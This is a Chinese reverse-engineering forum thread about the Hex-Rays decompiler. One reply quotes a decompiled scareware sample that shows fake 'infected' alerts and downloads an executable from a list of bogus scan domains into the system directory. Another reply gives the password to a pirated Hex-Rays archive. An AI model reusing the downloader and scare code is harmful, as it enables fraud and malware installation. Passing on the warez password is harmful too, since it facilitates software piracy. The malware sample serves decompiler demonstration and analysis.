能力值:
( LV12,RANK:1000 )
4 楼
程序已经上传,如果你需要可以在论坛搜到。感谢使用!希望多多鼓励,新人经受不起打击。尤其是“精华”变成了“关注”,非常挫伤积极性。感谢理解!
能力值:
( LV12,RANK:1000 )
10 楼
澄清一下,痛苦的的是“意外的得到了你不敢企及的东西却又在转瞬间意外的失去了,而且原因还不便于让别人知道”,当然天上不会掉馅饼,况且还是个新人(只是把很久以前注册的密码丢了而已),我会记住看雪老大的话,继续支持看雪论坛。
能力值:
( LV2,RANK:10 )
11 楼
LZ,我操作失败,是因为我的环境的原因?vista 64
能力值:
( LV2,RANK:10 )
13 楼
很好,照你的说法改了一下。在hexrays网站上,看到了2008版的,反编译很不错,不知道谁有啊?共享一下。
我找有一个hxrys-decomp-upped_by_LIQUIDFORCE.zip,但是没有解压密码,郁闷。
hexrays网站公布的片段如下:
/* This file has been generated by the Hex-Rays decompiler.
Copyright (c) 2008 Hex-Rays <info@hex-rays.com>
Detected compiler: Visual C++
*/
#include <windows.h>
//-------------------------------------------------------------------------
// Data declarations - initializators prepared manually
typedef unsigned char _BYTE;
typedef int bool;
typedef DWORD MACRO_WM;
typedef DWORD MACRO_REG_NONE;
typedef enum guard_info_t
{
GUARD_NONE = 0x0,
GUARD_XPSEC = 0x1,
GUARD_EXISTS = 0x2,
} guard_info_t;
extern const char *const url_fmts[] =
{
"http://virus-quick-scan.com/?wmid=%s&l=12&it=2&s=%s",
"http://antispyware-quick-scan.com/?wmid=%s&l=12&it=2&s=%s",
"http://spyware-quickscan-2008.com/?wmid=%s&l=12&it=2&s=%s",
"http://virus-quickscan-2008.com/?wmid=%s&l=12&it=2&s=%s",
"http://spyware-quickscan-2009.com/?wmid=%s&l=12&it=2&s=%s",
"http://virus-quickscan-2009.com/?wmid=%s&l=12&it=2&s=%s",
"http://antivirus-quick-scan.com/?wmid=%s&l=12&it=2&s=%s",
NULL
};
HWND main_hwnd; // idb
int winivstr_ok; // weak
const char WindowName[] = "";
void __cdecl main();
BOOL __cdecl add_systray_icon(const char *hint); // idb
BOOL __cdecl scare_user();
DWORD __stdcall icon_thread_entry(LPVOID a1); // idb
signed int __cdecl download_winivstr();
void __cdecl launch_scareware(); // idb
LRESULT __stdcall icon_thread_wndproc(HWND hWnd, MACRO_WM Msg, WPARAM wParam, LPARAM lParam);
void __cdecl bzero(void *a1, int size); // idb
const unsigned __int8 *__cdecl my_strstr(const unsigned __int8 *str, const unsigned __int8 *substr); // idb
signed int __stdcall get_registry_value(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, MACRO_REG_NONE *lpType, LPBYTE lpData, LPDWORD lpcbData); // idb
signed int __stdcall set_registry_value(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, MACRO_REG_NONE dwType, BYTE *lpData, DWORD cbData); // idb
signed int __cdecl start_process(LPSTR lpCommandLine);
guard_info_t __cdecl check_security_guards();
void __cdecl spoil_ie_security(); // idb
bool __cdecl already_running();
void __cdecl del_registry_subkeys(LPCSTR src); //----- (00401BF0) --------------------------------------------------------
BOOL __cdecl add_systray_icon(const char *hint)
{
BOOL result; // eax@3
int v2; // [sp+1ECh] [bp-4h]@1
HICON handle; // [sp+1E8h] [bp-8h]@1
NOTIFYICONDATA notifyicon; // [sp+0h] [bp-1F0h]@2
v2 = 0;
handle = LoadIconA(0, (LPCSTR)RESID_ICON);
bzero(¬ifyicon, 488);
if ( handle ) // loaded the icon?
{
notifyicon.hIcon = handle;
notifyicon.hWnd = main_hwnd;
notifyicon.uCallbackMessage = ICON_MESSAGE;
notifyicon.uID = MYICON_UID;
notifyicon.cbSize = 488;
notifyicon.uFlags = NIF_TIP|NIF_ICON|NIF_MESSAGE;
lstrcpy(notifyicon.szTip, hint);
result = Shell_NotifyIcon(NIM_ADD, (PNOTIFYICONDATA)¬ifyicon);// show it on the tray
}
else
{
result = 0; // failure...
}
return result;
}
//----- (00401CA0) --------------------------------------------------------
BOOL __cdecl scare_user()
{
HICON handle; // [sp+4h] [bp-1ECh]@1
NOTIFYICONDATA notifyicon; // [sp+8h] [bp-1E8h]@1
handle = LoadIconA(0, (LPCSTR)RESID_ICON);
bzero(¬ifyicon, 488);
notifyicon.hWnd = main_hwnd;
notifyicon.uFlags = NIF_INFO|NIF_TIP|NIF_ICON|NIF_MESSAGE;
notifyicon.hIcon = handle;
notifyicon.uCallbackMessage = ICON_MESSAGE;
notifyicon.uVersion = 10000; // win2000
notifyicon.uID = MYICON_UID;
notifyicon.cbSize = 488;
notifyicon.dwInfoFlags = NIIF_ERROR; // Ballon icon: an error icon
lstrcpy(notifyicon.szInfoTitle, "Your computer is infected!");
lstrcpy(
notifyicon.szInfo,
"Windows has detected spyware infection!\n\nIt is recomended to use special antispyware tools to pervent data loss.Windows will now download and install the most up-to-date antispyware for you.\n\nClick here to protect your computer from spyware!");
return Shell_NotifyIcon(NIM_MODIFY, (PNOTIFYICONDATA)¬ifyicon);// scare the user
}
//----- (00401D70) --------------------------------------------------------
DWORD __stdcall icon_thread_entry(LPVOID a1)
{
HMODULE imagebase; // eax@1
HINSTANCE hInstance; // [sp+44h] [bp-8h]@1
WNDCLASSA WndClass; // [sp+0h] [bp-4Ch]@1
HICON v5; // [sp+48h] [bp-4h]@3
struct tagMSG Msg; // [sp+28h] [bp-24h]@6
imagebase = GetModuleHandleA(0);
hInstance = imagebase;
WndClass.style = CS_HREDRAW|CS_VREDRAW;
WndClass.lpfnWndProc = (WNDPROC)icon_thread_wndproc;
WndClass.hInstance = imagebase;
WndClass.hbrBackground = (HBRUSH)HOLLOW_BRUSH;
WndClass.lpszClassName = "CKMINT21WINDOWSHIDERPRO";
WndClass.hCursor = LoadCursorA(0, (LPCSTR)RESID_CURSOR);
WndClass.hIcon = LoadIconA(0, (LPCSTR)RESID_CURSOR);
WndClass.lpszMenuName = NULL;
WndClass.cbClsExtra = 0;
WndClass.cbWndExtra = 0;
if ( !RegisterClassA(&WndClass) ) // standard stuff...
ExitProcess_0(0);
v5 = LoadIconA(NULL, (LPCSTR)RESID_ICON);
main_hwnd = CreateWindowExA( // create a popup window
0,
WndClass.lpszClassName,
WindowName,
WS_EX_LAYOUTRTL|WS_EX_LAYERED|WS_EX_STATICEDGE|0x800000,
WS_POPUP,
0,
0,
0,
0,
0,
hInstance,
0);
while ( !add_systray_icon("Windows Security Alert") ) // add bogus security alert
Sleep(1000u);
while ( GetMessageA(&Msg, 0, 0, 0) ) // windows message loop
{
TranslateMessage(&Msg);
DispatchMessageA(&Msg);
}
return 0;
}
//----- (00401E90) --------------------------------------------------------
signed int __cdecl download_winivstr()
{
int idx; // [sp+514h] [bp-4h]@1
int v2; // [sp+404h] [bp-114h]@1
char path[268]; // [sp+408h] [bp-110h]@2
char url[1028]; // [sp+0h] [bp-518h]@4
idx = 0;
v2 = 8;
if ( !check_security_guards() ) // no security measures?
{
bzero(path, 260);
GetSystemDirectoryA(path, 260u);
lstrcat(path, "\\winivstr.exe");
while ( url_fmts[idx] ) // try to download from different servers...
{
wsprintfA(url, url_fmts[idx], "1019", "33"); // form full url
if ( !URLDownloadToFileA(0, url, path, 0, 0) )
{
winivstr_ok = 1; // success!
return 0;
}
++idx;
}
}
return 1;
}
能力值:
( LV2,RANK:10 )
16 楼
hxrys-decomp-upped_by_LIQUIDFORCE.zip 密码是 warezwaldo.org
版本就是1.0... 作孽啊...
能力值:
( LV2,RANK:10 )
22 楼
郁闷死了,我的hexrays也过期,试了N种方法F5都是没反映。。。。奇怪了